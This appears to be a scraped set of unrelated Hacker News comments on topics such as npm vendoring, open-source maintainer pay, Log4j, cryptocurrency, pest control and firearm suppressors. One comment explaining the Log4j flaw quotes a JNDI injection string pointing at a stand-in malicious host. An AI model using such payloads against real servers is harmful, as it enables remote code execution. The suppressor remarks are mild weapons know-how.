skysight-inc/HackerNews huggingface dataset:
Brodifacoum? I don’t buy that on Amazon, I buy it at my local supermarket. Not the US, Australia. I’ve never heard any controversy about availability of brodifacoum in Australia (maybe some environmental or animal welfare group has complained, but if so I haven’t heard about it)

Glue traps, now that’s controversial. In the state of Victoria, illegal to use in residential settings (on animal welfare grounds), but still legal to use in some agricultural and industrial settings. I’m in New South Wales where residential use is legal, but you won’t find them on sale except in rural supply stores
> I design and implement cloud architectures that replace entire teams of developers

I'm curious: How do you replace entire teams of devs by choosing cloud architectures? Is it because cloud architectures bring so much stuff out of the box that is otherwise implemented in a custom way by individual developers? What would be an example?

Edit: Found your blog post about it: https://kulikalov.com/how-to-make-sense-of-cloud-architectur...
> But what's the use case for this?

telnet towel.blinkenlights.nl
Cats definitely work against mice, you just need cats which actually hunt them. Most of today's domestic cats probably didn't learn to hunt.
Zaakir Altaf Author of Three Thousand Days
Zaakir Altaf Bhat (Born 31 December 1998) in a Muslim Family of a Small Hamlet Nambal Located in Anantnag District (Jammu and Kashmir)

Zaakir Altaf is a Renowned Poet ,Worldwide Published Author,Motivational Speaker along with that a Freelance Photographer working with several Magazines and Newspapers in Kashmir Valley and outside.
Zaakir Altaf is also well known about the Arabic and Turkish languages
Zaakir Start Writing and Enlightening The Poetry in English , Urdu , and His Native Kashmiri Language from his Childhood period.
Zaakir mostly quoted the Real life incidents in his Poems , He is also well known for his Poetry based on Nature , Love ,Religion, Nation etc.
Poetry based on materialistic as well as realistic emotions can be seen as the Best catch from his Writings. Zaakir is an emerging Poet of the time with a distinctive behaviour.
Somewhere He is known as a Sad Poet , A Romantic Poet ,Junior Shakespeare, Ghalib etc.
But in the real theme He is a Man with a Golden hand who is quoting the Poetry based on each and every ongoing issue either it is corona Virus, Suicide or Drugs
.

People reach out the amazing Poetries of the Author
on Apple books , Amazon, Playstore,Flipkart,Kobo,Barnes and Noble,Tolino,Indigo,Vivlio,Thalia,Bol.De,Angus and Robertson ,Pothi, Fnac and Kindle books
Zaakir has contributed his Poetry in Dozens of Anthologies compiled by various authors all over India
The most Famous Poetry Book 'Three Thousand Days' A great amalgam of Poems.The first Published work that has poems weaving the Emotional ,Philosophical ,Cultural and Conflict threads is bringing his Prestige to another level .Poems embedded the fragrances of Loss ,Hope ,Love,Romance, Dreams and sorrows that nowadays every youth is experiencing in their lives.’Three Thousand Days’ according to Author is a Book Of Poetry that Reflect The Moments of Last Three thousand days of His Life .
Included with Dreams , Imagination and a Romantic phase of Love
The value of cryptocurrency is 0.
There are a lot lost in translation. When Chinese people say "fangyan" it could mean anything, as long as it is a language used in specific region, as opposite to Mandarin, which is the official language used in the country. And that's what it is. It does not say a language is close to Mandarin or not. Of course, in translation, everything is lost. I have a lot problem with translations. For example, Chinese "loong" is translated into dragon, which are very different thing. It would be better people do not translate and find a close approximation for words, rather, introduce a new word. Like Banzai, Sushi, those words are good translations. Unfortunately it happened too many times in the history, now we are stuck with many words don't mean the same thing in two cultures.
Carl Jung and Wolfgang Pauli bridged mind and matter (2017)
The other day there was a story about recurring booster shots presented as making scientific sense.

https://news.ycombinator.com/item?id=29510823

It is not propaganda as such, but the comments highlight how such statements can be problematic.

So it's definitely harder to know what you can trust on the internet.
Human society has for thousands of years relied on unpaid voluntary labor. Be it taking care of the elderly, taking care of the sick and the poor, managing public spaces, organizing festivals, on and on and on. Human society is built on voluntary participation much more than on monetary incentives.

It's part of the capitalistic delusion that only what a price label has attached has worth; you are conflating "worthless" with "priceless".
Show HN: Work/Artwork – turn your hard work into artwork
the mindset is important. MS open sourced things because devs working there pushed for it.

it's a good thing even if MS benefits more than others. it's not a zero sum game.

the problem is on the other end, where the produced economic surplus is distributed to a very few.
You have zero clue about what slave labour is.
no they're saying they discovered the behavior of their Log4j that was using interpolation was so slow that is had the potential of causing a DDoS at their company
Archeologists are not scientists. They are like kids who get to grade their own homework. Everything is a legend and myth. All buildings are temples or tombs.
It’s definitely happening. People are just too busy to post about it. I’m on a few hours sleep over the last couple days myself.
Exercise-Associated Protein Boosts Brain Function in Mice
I recall some US gov agency, possibly the IRS of all things, that would only accept forms being submitted during US working hours. Because the computers also need time off I guess?
Google wants you to work for them for free
Then you must be extremely bad at rust.
“quantity has a quality of its own”
Fireship.io goes over these things superficially (in a good sense)
No, you can get literal Hollywood quiet with suppressors. If you’ve never gotten to experience that, sorry I guess haha.

A Kel-Tec CP33 or Ruger MKIV with various forms of attached suppressors or integrated suppressors shooting CCI subsonic .22 is Hollywood quiet. Less noise than a BB gun.

There are various other calibers that can get pretty damn close to as quiet as those as well.

For your traditional military calibers across the globe - yes, they’re still pretty damn loud suppressed. I think .50 bmg or Lapua suppressed is still as loud as 7.62x39 unsuppressed.

But to say you can’t get Hollywood quiet is simply incorrect, and there’s still a factor of louder calibers pitch being changed to something that a person not in the immediate vicinity could confuse as construction instead of gunfire.

As much as I personally enjoy suppressors… I do have issue with the fact anybody can get their hands on one next day. Just work for a gun range in any mid sized town for two weeks and your honest thoughts about just about literally anybody being able to obtain a firearm will likely change. People are fucking dumb man.
> That's pretty elitist.

Perhaps the parent post sounded harsh but there's nothing elitist in acknowledging that billions of people lack access to good education (and food, water, etc). It's not their fault and nothing shameful.

> And a lot of people confuse "disagreeing with me/having different foundational truths" with "being wrong" no matter how much Foucault they've read.

HN is known to be an echo chamber, and also no amount of education is a silver bullet. But learning critical thinking (including reading Foucault) does wonders.

Unfortunately a lot of "formal education", especially around STEM, is focusing more and more around the "how" and less about the "why".
We are input-output machines though. Being so doesn't preclude us from having vivid internal emotional experiences, I don't know why it would. Both things are true
In Arabic region, news organisations start to use MSA (Modern Standard Arabic) so that news can be broadcast to different regions, and schools are teaching in MSA, so that knowledge can be shared more effectively. There aren't much about which dialect is superior than others, any for or against discussion about these are super political, not about the use of the language at all.
> Better awareness of the code you're shipping.

Then somewhere down the line...

> One of our dependencies that we check in is TypeScript, and every time we update that, the git diff is huge and frankly not worth looking at (beyond the CHANGELOG)

Which I assume is the official attitude towards any dependency of the same magnitude. How are you more aware of the code you are shipping? Okay you managed to give yourself a visual on how much LOC your dependencies are but is that a relevant awareness? Do I not get the same thing with a `du -h node_modules`, with a matching pretty GUI on top?

The one thing I haven't seen addressed so far is: doesn't this make them susceptible to poisoned dependencies? Say they have a dependency to a large well-known library, what's stopping a malicious contributor from adding an HTTP call, thinly disguised to prevent grep, to some server in MiddleOfFucking, Nowhere? Even if they manage to flag this from blackbox testing, they now have a problem that only they have.

I can try to answer my own question: they're Google, they can afford a team scanning for vulnerabilities like this, a team dedicated to analyzing codebases that are found to be compromised, a legal and PR team to handle the fallout if this kind of vulnerability makes it to the public.

In short: horrible advice to follow if you are not Google.
And that is to say nothing about how much money is funnelled into the defence industry. A lot of the American industrial prowess came precisely from that.
Activision Blizzard to employees: 'consider the consequences' of unionizing
Hello HN, here's a side project I've been working on for way too long - Work/Artwork lets you create a high-end poster based on an artistic visualisation of your Git repo.

I've seen somewhat similar ideas before but I wanted to create something I'd actually want to put on my wall, or give to a client or to team members to celebrate a project.

I've worked with 4 different artists to create these design systems and I think the range of output is great - depending on your repo some designs will work better than others, and there are also some settings to tweak for each one.

I'm happy to answer questions on the implementation, the process, or just why it's taken so bloody long (first prototype was about 5 years ago!)...
I have plenty of clues of what slave labor is and big companies exploiting the hard work of people working for free without paying them is definitely pretty damn close.
Crypto value is whatever you want it to be.
There's a quite interesting article on the directionality preference of UX elements among different RTL user groups which I can recommend: "Towards the Right Direction in BiDirectional User Interfaces"[0].

[0]: https://arxiv.org/pdf/2101.08070.pdf
This is idiotic and could only be written by someone that have no idea about node package managements.

1. Most of CI systems have better options for caching node modules[1][2]. When you check node_modules, you add fixed cost(increasing) for every commit. When you use CI caching you add fixed cost(static) to only small number of builds.

2. Once you start upgrading packages repo size will continue to grow. At some point you will be forced to git filter out node_modules. You will lose the ability to run locally older commits.

3. You will need to pin version of npm/yarn because structure of node_modules depends on hoisting algorithm. Every upgrade of node will be extra painful because you also potentially need to upgrade all yours packages.

4. Platform dependent modules like fsevents, node-sass can be broken if you use different OS. You will be forced to only support a single platform(linux).

5. Impossible to resolve node_modules conflicts. Modern package manager have git conflict resolution build in. If two people update the same module to the same version they can still create a merge conflict when node_modules are checked.

6. Currently, you have plenty of good options that can achieve the same with smaller effort. You can use yarn2 with node_modules linker and local cache. This would create .yarn folder in the repo that have all modules as zip files. During install it would use these to hydrate node_modules. Alternatively, You can use pnp and have zero install but with proper support[3]

7. You lose automatic audit and dependency management. Current best practice is to use something like dependabot or renovate bot. Once you commit your package, you will no longer be able to use this effectively.

8. Most people commenting on left-pad are maybe not aware, but today npm is immutable, and you simply cannot unpublish public package[4]. Because npm.com is such vital infrastructure, it unlikely that it would ever stop working.

[1] https://docs.github.com/en/actions/advanced-guides/caching-d...
[2] https://circleci.com/docs/2.0/caching/
[3] https://yarnpkg.com/features/pnp
[4] https://docs.npmjs.com/policies/unpublish
What Intel Wants Will Not Solve the Problem
Doodle 0.6.3 Released
We really need to stop using the term stablecoins

ScamCoin maybe?
Any Kitty users tried this? I’ve found Kitty to be exemplary so would be curious if anyone finds this an improvement?
You're saying that they should make their software proprietary to solve the problem of FOSS maintenance. That's forgetting the implicit requirement that it should remain FOSS.
Formal Requirements Elicitation Tool
Apparently [0][1] the FSF distribution of GNAT permits development of non-GPL software.

[0] https://news.ycombinator.com/item?id=24492653

[1] https://old.reddit.com/r/ada/comments/3989f4/gnat_gpl_restri...
I understand everyone who wants $$ for his time writing code, but this article makes no sense.

Why would you release your code open source and then expect to get paid for it?

Also if you are the author of such an important open source library and you can't get a paid job as a software dev than there just must be something off-putting about you.
Is it time to see more content and fewer ads in online search?
Interesting to find this here, if someone else haven't followed Python3, there is also NamedTuple which for all purposes is like immutable record:

from typing import NamedTuple
class Coord(NamedTuple):
x: int
y: int

I would prefer immutable records over dataclasses on many occasions.
And no comments either, poor guy.
Makes sense. Comparing nodes with 2x or 4x MI250X vs 4x or 8x A100-80 it doesn't really seem that there is any speed up at all for memory bound apps.
Here is an idea. Make your code royalty free for up to 364 days a year. "MIT-364" is a catchy name right ?

Any company that cannot afford to go without your software for 24hrs per year should pay full whack for a commercial license.
Are there still cars with no telemetry data? Believe me, this world is increasingly dystopian.
> Vendoring dependencies is a simple way to ensure consistent build inputs

If consistent build inputs is your concern may I ask why using lock files wasn’t enough? That’s a problem they were designed to solve.
I would be glad to find an integrated guide on how to build a state-of-the-art website and how to deploy/maintain it on a server like AWS or DigitalOcean.

I mean, I'm not interested in a html/css/javascript tutorial, we have enough resources on that. What I found really missing on the internet (maybe I'm not that good at searching), is a step-by-step detailed guide on how to deploy/update/maintain a website. An unordered list of thing that came up to my mind:

- How to deploy the website on a server

- Which server should one use

- How to expose it on the internet (buy domain name)

- Version control and hosting the repository (GitHub vs gitlab vs ...)

- Updating your website (CI/CD like Jenkins?)

- Reproducible environments (Docker?)

- How to integrate analytics

- How to integrate ads respectfully (of your users)

- How to integrate paying contents

- How to address security

- Ho to address scalability
I have a terrible pocket gopher problem. They absolutely have to be dealt with when they come out of hibernation this year. What's you're favorite trap for them?
I'm sure the author would appreciate pull requests that add that.
Thank you! Very awesome work.
Ok, but why state taxpayers have to pay for that?
And if you watch his later talk and interviews, his definition of "Moore's law" is basically transistor improvement. And not scaling anything with 2x.
I accept that sometimes information cannot be made public for reasons of national security, but that get out clause seems to be very over-used.

How many members of Western society do you think would agree that war crimes should be routinely covered up? I'd guess very, very few.
You're addressing maintainers who somehow arrive at open source with expectations which set them up for failure and disappointment. I can agree with you there.

In the past, I've made comments that open source isn't a business model. It's a licensing model which governs intellectual property.

My comment, however, isn't addressing maintainers. It's addressing their audience and their behavior: anyone who uses and leverages open source code without consideration of the labor that goes into it, which is a big difference.

ESR is absolutely right when he points out that anyone who shares creative work also shows themselves vulnerable when it comes to reputation, good name and public perception. Sure, you could use the argument that "open source doesn't make any promises regarding support". But that still doesn't excuse the entitlement and indifference.

If you can happily ignore it, that's great for you. Calling it out for what it is, however, isn't any less valid a way of responding. Even when it's just a hobby project and you don't get paid.

Every so often, there's a case where a small open source project with limited maintenance ends up being leveraged by entire industries with interests worth billions. When things fall apart, media outlets and pundits will report about the failings of that small project and how it affects big interests, but they won't point out the elephant in the room: how these projects are maintained by a skeleton crew working in their spare time.

The Ars Technica article is an example of this:

https://arstechnica.com/information-technology/2021/12/minec...

At most, the lack of due diligence of these big passive players gets called out, like in this Wired article:

https://www.wired.com/story/log4j-flaw-hacking-internet/

Sure, none of this is going to awaken people's minds to be more apprehensive or more empathic to the challenges of maintaining a popular OSS project. The value proposition of being able to leverage free labor is simply too attractive.

Meanwhile though, the log4j maintainers are now stuck being perceived as not having done enough to avoid these kinds of bugs. Whether that's trough investing "enough" time, making the "right" calls (whatever those are) or finding "appropriate sources of funding" for themselves. Thousands of engineers are scrambling to roll out fixes upstream. And millions of end users merely learn how "a software bug almost breaks the Internet and Minecraft."

Ultimately, nobody gains from these disasters as a result of a lack of assuming shared responsibility for a common good.
/irony

And now we got all the way to anti-abortionists claiming that killing the child even after any signs of pregnancy is illegal.
I agree with you, which is why I don't really understand what the point of improving FP64 perf by 4x is, if that is not the bottleneck for many apps.

Per node, a 4x MI250X node has more or less the same BW as a DGX-A100 (8x A100).
It has 2x more FP64 compute, but for most science and engineering apps, which are memory bound, 2x more FP64 compute does not make these apps any faster.
It was on the news in my country. There have been several notable ransomware attacks in the last few years, it's become an issue for a country and government that's gone all in on digital.
The author looks at this from the perspective of making money.

Bitcoin is a form of money.

It's like HTTP/HTTPS vs IPv4/IPv6.
Bitcoin operates at a lower level than stocks, looking at it from that perspective is like looking at the facebook home page and trying to understand the value of IPv6.

Investing/speculating is all about increasing a counter. Here we are talking about another separate counter.
>simple pattern expansion is pretty handy. For example: [...] added.size()

I think you misunderstood the gp's scenario question. Your example of "added.size()" would be static code that was written by the friendly programmer and evaluated at compile time. We do expect that baseline functionality as reasonable and gp wasn't asking about that.

Instead, what folks are wondering about is dynamic and recursive template expansion of 2nd-parameter strings at runtime supplied by potential hostile adversary such as:

log.debug("Added {} records", sAdversarialUserSuppliedString);

... and sAdversarialUserSuppliedString itself has an embedded "{}" with evil contents such as "${jndi:ldap://malware.net:1234/runviruscode}"

With that extra power and "convenience" provided by log4j, it becomes a backdoor "eval()" for arbitrary user-supplied code.

The gp's question restated could be: "Who legitimately needs that type of runtime template expansion in the 2nd parameter of sAdversarialUserSuppliedString and what have I been missing by not needing to do that? I seem to have gotten by on just using template expansion only in the 1st parameter."
Well, if we were to look at this with different eyes, the Spartans, while having to deal with the urgencies of Battle would probably do it.

But really, do we do any differently???

Think about it -- "weak" children are set aside from society into a room upstairs, or a care home, or some kind of environment where they are not exposed to the harshness of the real world.

The same goes for adults too.

Even if the spartans never did it, they probably put the weaker children and adults into a situation where they would never come into contact with battle or even slow a community for doing normal everyday duties.

Which is exactly the same as we do.

We put slower children into special classes. Put them on special buses, send them to special psychological and physical practitioners. For adults we put them into care homes. Or keep them at home and the government generally cares for them with special provisions.

And we accept that.

Putting infanticide aside -- are we any different from ancient cultures??
I will give Wezterm a try wheb tmux CC mode(show tmux panel as native window) support is done
> Vendoring dependencies is a simple way to ensure consistent build inputs

It wouldn't be necessary if the dependency tree was a pure function of package manifest.

https://developer.okta.com/blog/2019/12/16/semantic-versioni...
Rudolph was created as a Christmas mascot for Montgomery Ward (Chicago) department stores: https://www.npr.org/2015/12/25/461005670/the-history-of-rudo...
Good point, and the reverse is true, some people click on "internet something" but most of the time it's for administrative processes.
Oak is the best meditation app on iOS even though it isn't as popular as Headspace and Calm.
Populations that stop reproducing is a problem that solves itself. Probably cultures and individuals that are more likely to desire babies will push forward.
> They can even introduce vulnerabilities intentionally, and it's your responsibility if you trusted them not to.

Is that true?
I can add code in my open source library to steal credit card numbers, and if you use it that'd be your fault?
For me, it would be great if the tutorial can focus on minimising the amount of work required to maintain or update the site while still retaining flexibility.